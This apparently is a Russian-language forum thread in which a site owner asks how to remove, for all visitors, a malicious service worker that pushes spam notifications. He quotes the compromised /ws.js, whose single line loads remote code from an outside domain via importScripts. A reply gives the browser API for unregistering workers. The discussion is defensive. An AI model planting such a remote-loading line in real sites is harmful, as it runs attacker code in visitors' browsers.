Как можно удалить всем пользователям вредоносный service worker?

Question

[Виталий]

Всем привет.
Недавно на одном из наших сайтов обнаружили вредоносный скрипт, который устанавливает service worker и в дальнейшем рассылает всем подписавшимся спамную push рассылку.

скрипт /ws.js содержит следующий код:
importScripts('https://wwserch44.biz/sw/w1s.js');

С данной технологией я столкнулся недавно и пока не представляю как она устроена, только начал изучать.
Подскажите, есть ли какая-нибудь возможность удалить данный сервис воркер у всех пользователей, которые подписались? Или теперь они будут всегда получать спам от нашего сайта?

И как вообще устроена push рассылка. Один раз пользователь подписался, service worker установился и теперь сторонний ресурс всегда может отправлять пуш уведомления? Или на сайте еще есть какой-то скрипт, через который они делают рассылку?

Answer 1

[Михаил]

navigator.serviceWorker.getRegistrations().then((registrations) => {
  for (let registration of registrations) {
    // registration.unregister();
  }
});

Вот такой API у каждого будет
https://developer.mozilla.org/en-US/docs/Web/API/S...

Comments

[Виталий]

Да, читал про это. Но вот только есть одна проблема - пользователю надо зайти на сайт, чтобы воркер удалился. А есть много юзеров, которые только один раз зашли на сайт и пока повторно не откроют его - спам рассылка будет у них продолжаться

[Михаил]

Виталий, сомнительно, пользователь ведь себе в браузер ставит подписку

[Виталий]

Михаил, это женская тематика, где треть аудитории возраста 35-55 лет. они все подряд нажимают